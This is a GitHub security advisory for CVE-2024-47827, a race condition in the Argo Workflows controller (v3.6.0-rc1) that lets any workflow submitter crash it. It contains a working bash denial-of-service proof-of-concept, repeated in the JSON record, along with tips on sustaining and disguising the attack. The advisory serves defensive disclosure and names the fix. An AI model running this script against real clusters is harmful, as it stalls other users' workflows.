ghsa-ghjw-32xw-ffwr
Vulnerability from github
Published
2024-10-28 18:28
Modified
2024-10-30 18:50
Summary
Argo Workflows Controller: Denial of Service via malicious daemon Workflows
Details

Summary

Due to a race condition in a global variable, the argo workflows controller can be made to crash on-command by any user with access to execute a workflow.

This was resolved by https://github.com/argoproj/argo-workflows/pull/13641

Details

These two lines introduce a data race in the underlying SPDY implementation of the Kubernetes API client. If a second request is made before the first completes, it results in a panic due to a null pointer. * https://github.com/argoproj/argo-workflows/blob/ce7f9bfb9b45f009b3e85fabe5e6410de23c7c5f/workflow/metrics/metrics_k8s_request.go#L49 * https://github.com/argoproj/argo-workflows/blob/ce7f9bfb9b45f009b3e85fabe5e6410de23c7c5f/workflow/metrics/metrics_k8s_request.go#L75

This appears to have been added in this commit https://github.com/argoproj/argo-workflows/commit/9756babd0ed589d1cd24592f05725f748f74130b / #13265 / v3.6.0-rc1

PoC

With the KUBECONFIG variable set to an appropriate file with create permissions for the Workflow kind, execute the following bash script:

```bash

!/bin/bash -xeu

while true ; do name=$( { argo submit /dev/stdin <<'EOF' apiVersion: argoproj.io/v1alpha1 kind: Workflow metadata: generateName: curl- spec: entrypoint: main templates: - name: main dag: tasks: - name: no-op template: no-op withSequence: count: 3 - name: no-op daemon: true container: image: alpine:3.13 command: [sleep, infinity] EOF } | head -n1 | awk '{ print $2 }' ) ( sleep 30; argo terminate $name ) & sleep 15 done ```

This script creates, and subsequently cleans up, multiple daemon pods in rapid succession. Each pod cleanup involves executing a kill instruction using the Kubernetes exec API, triggering the conditions for the panic. This can be seen when the tests mark the pods as complete, but the workflow itself never completes. Observing the controller logs when this happens shows the panic and restart of the controller every few seconds. In a setup with exponential backoff (e.g. a Kubernetes Pod) this is enough to reliably cause crashes enough to extend this backoff significantly and leave other workflows stalled.

Because the restarted controller believes it has sent the kill signal, it will wait indefinitely for the pod to terminate, which it never will, so the attack must constantly garbage-collect its own workflows with the argo terminate command, otherwise the maximum concurrently running workflows will be reached. A more sophisticated attack could detect when the workflow has been signaled to clean up and terminate it then instead of relying on a simple timer.

Impact

A malicious user with access to create workflows can continually submit workflows that do nothing except create and then clean up multiple daemon pods, resulting in a crash-loop that prevents other users' workflows from running. This can be done with only a handful of pods and very little cpu and memory, meaning typical multi-tenant Kubernetes controls such as Pod count and resource quotas are not effective at preventing it.

Because the panic log does not in any way suggest that the issue has anything to do with the daemon pods, and an attacker could easily disguise these daemon pods as part of a genuine workflow, it would be difficult for administrators to discover the root cause of the DoS and the individuals responsible to remove their access.

Show details on source website


{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/argoproj/argo-workflows/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.6.0-rc1"
            },
            {
              "fixed": "3.6.0-rc2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "3.6.0-rc1"
      ]
    }
  ],
  "aliases": [
    "CVE-2024-47827"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1108",
      "CWE-362"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-10-28T18:28:03Z",
    "nvd_published_at": "2024-10-28T16:15:03Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nDue to a race condition in a global variable, the argo workflows controller can be made to crash on-command by any user with access to execute a workflow.\n\nThis was resolved by https://github.com/argoproj/argo-workflows/pull/13641\n\n### Details\n\nThese two lines introduce a data race in the underlying SPDY implementation of the Kubernetes API client. If a second request is made before the first completes, it results in a panic due to a null pointer.\n* https://github.com/argoproj/argo-workflows/blob/ce7f9bfb9b45f009b3e85fabe5e6410de23c7c5f/workflow/metrics/metrics_k8s_request.go#L49\n* https://github.com/argoproj/argo-workflows/blob/ce7f9bfb9b45f009b3e85fabe5e6410de23c7c5f/workflow/metrics/metrics_k8s_request.go#L75\n\nThis appears to have been added in this commit https://github.com/argoproj/argo-workflows/commit/9756babd0ed589d1cd24592f05725f748f74130b / #13265 / v3.6.0-rc1\n\n### PoC\n\nWith the `KUBECONFIG` variable set to an appropriate file with `create` permissions for the `Workflow` kind, execute the following bash script:\n\n```bash\n#!/bin/bash -xeu\n\nwhile true ; do\n    name=$(\n        { argo submit /dev/stdin \u003c\u003c\u0027EOF\u0027\napiVersion: argoproj.io/v1alpha1\nkind: Workflow\nmetadata:\n  generateName: curl-\nspec:\n  entrypoint: main\n  templates:\n  - name: main\n    dag:\n      tasks:\n        - name: no-op\n          template: no-op\n          withSequence:\n            count: 3\n  - name: no-op\n    daemon: true\n    container:\n      image: alpine:3.13\n      command: [sleep, infinity]\nEOF\n    } | head -n1 | awk \u0027{ print $2 }\u0027\n    )\n    ( sleep 30; argo terminate $name ) \u0026\n    sleep 15\ndone\n```\n\nThis script creates, and subsequently cleans up, multiple `daemon` pods in rapid succession. Each pod cleanup involves executing a `kill` instruction using the Kubernetes `exec` API, triggering the conditions for the panic. This can be seen when the tests mark the pods as complete, but the workflow itself never completes. Observing the controller logs when this happens shows the panic and restart of the controller every few seconds. In a setup with exponential backoff (e.g. a Kubernetes Pod) this is enough to reliably cause crashes enough to extend this backoff significantly and leave other workflows stalled.\n\nBecause the restarted controller believes it has sent the `kill` signal, it will wait indefinitely for the pod to terminate, which it never will, so the attack must constantly garbage-collect its own workflows with the `argo terminate` command, otherwise the maximum concurrently running workflows will be reached. A more sophisticated attack could detect when the workflow has been signaled to clean up and terminate it then instead of relying on a simple timer.\n\n### Impact\n\nA malicious user with access to create workflows can continually submit workflows that do nothing except create and then clean up multiple daemon pods, resulting in a crash-loop that prevents other users\u0027 workflows from running. This can be done with only a handful of pods and very little cpu and memory, meaning typical multi-tenant Kubernetes controls such as Pod count and resource quotas are not effective at preventing it.\n\nBecause the panic log does not in any way suggest that the issue has anything to do with the daemon pods, and an attacker could easily disguise these daemon pods as part of a genuine workflow, it would be difficult for administrators to discover the root cause of the DoS and the individuals responsible to remove their access.\n",
  "id": "GHSA-ghjw-32xw-ffwr",
  "modified": "2024-10-30T18:50:25Z",
  "published": "2024-10-28T18:28:03Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/argoproj/argo-workflows/security/advisories/GHSA-ghjw-32xw-ffwr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-47827"
    },
    {
      "type": "WEB",
      "url": "https://github.com/argoproj/argo-workflows/pull/13641"
    },
    {
      "type": "WEB",
      "url": "https://github.com/argoproj/argo-workflows/commit/524406451f4dfa57bf3371fb85becdb56a2b309a"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/argoproj/argo-workflows"
    },
    {
      "type": "WEB",
      "url": "https://github.com/argoproj/argo-workflows/blob/ce7f9bfb9b45f009b3e85fabe5e6410de23c7c5f/workflow/metrics/metrics_k8s_request.go#L75"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:A/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Argo Workflows Controller: Denial of Service via malicious daemon Workflows"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
  • Confirmed: The vulnerability is confirmed from an analyst perspective.
  • Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
  • Patched: This vulnerability was successfully patched by the user reporting the sighting.
  • Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
  • Not confirmed: The user expresses doubt about the veracity of the vulnerability.
  • Not patched: This vulnerability was not successfully patched by the user reporting the sighting.


Loading…

Loading…